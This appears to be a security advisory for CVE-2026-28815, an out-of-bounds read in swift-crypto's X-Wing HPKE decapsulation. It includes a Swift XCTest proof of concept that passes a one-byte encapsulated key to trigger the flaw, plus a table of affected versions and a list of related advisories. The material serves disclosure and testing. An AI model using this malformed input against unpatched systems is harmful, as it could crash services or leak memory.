X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length
MediumCVE-2026-28815 · Published Apr 1, 2026 · updated May 7, 2026
Impact: A remote attacker may be able to leak memory Description: An out-of-bounds read was addressed with improved input validation. CVE-2026-28815: Cantina We would like to thank Cantina for providing a detailed report. A portion of their report is provided below. ### Summary The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer. The issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error. ### Proof-of-concept ```swift //===----------------------------------------------------------------------===// // // PoC for X-Wing malformed ciphertext-length decapsulation: // X-Wing decapsulation accepts malformed ciphertext length and forwards it to C...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| swift-crypto Product | < 4.3.1 | 4.3.1 |
Details and references
Impact: A remote attacker may be able to leak memory Description: An out-of-bounds read was addressed with improved input validation. CVE-2026-28815: Cantina We would like to thank Cantina for providing a detailed report. A portion of their report is provided below. ### Summary The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer. The issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error. ### Proof-of-concept ```swift //===----------------------------------------------------------------------===// // // PoC for X-Wing malformed ciphertext-length decapsulation: // X-Wing decapsulation accepts malformed ciphertext length and forwards it to C. // // This test is intentionally unsafe and is expected to crash (or trip ASan) // on vulnerable builds when run. // //===----------------------------------------------------------------------===// #if canImport(FoundationEssentials) import FoundationEssentials #else import Foundation #endif import XCTest #if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API // Skip tests that require @testable imports of CryptoKit. #else #if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API @testable import CryptoKit #else @testable import Crypto #endif final class XWingMalformedEncapsulationPoCTests: XCTestCase { func testShortEncapsulatedKeyHPKERecipientInit() throws { if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) { let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256 let skR = try XWingMLKEM768X25519.PrivateKey.generate() let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...) _ = try HPKE.Recipient( privateKey: skR, ciphersuite: ciphersuite, info: Data(), encapsulatedKey: malformedEncapsulatedKey ) XCTFail("Unexpectedly returned from malformed decapsulation path") } } } #endif // CRYPTO_IN_SWIFTPM ```
- Severity from
- GitHub (reviewed advisory)
More Apple advisories
All Apple| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| May 21 | NIOHTTPRequestDecompressor ratio limit bypass via inflated Content-Length | Medium | 1.34.1 |
| May 21 | NIOHTTP1 HTTPDecoder accepts unbounded HTTP/1 header blocks, enabling remote DoS | Medium | 2.100.0 |
| May 21 | Out-of-bounds write via ByteBuffer index and length UInt32 overflow | High | 2.100.0 |
| May 21 | CRLF Injection in outbound HTTP request URI via NIOHTTPRequestHeadersValidator | Medium | 2.100.0 |
| Apr 30 | `container system dns create` unvalidated domain name allows pf rule injection | Low | 0.12.3 |
| Apr 30 | Insecure Hostname Validation Allows HTTP Downgrade Attack | Medium6.9 | 0.12.3 |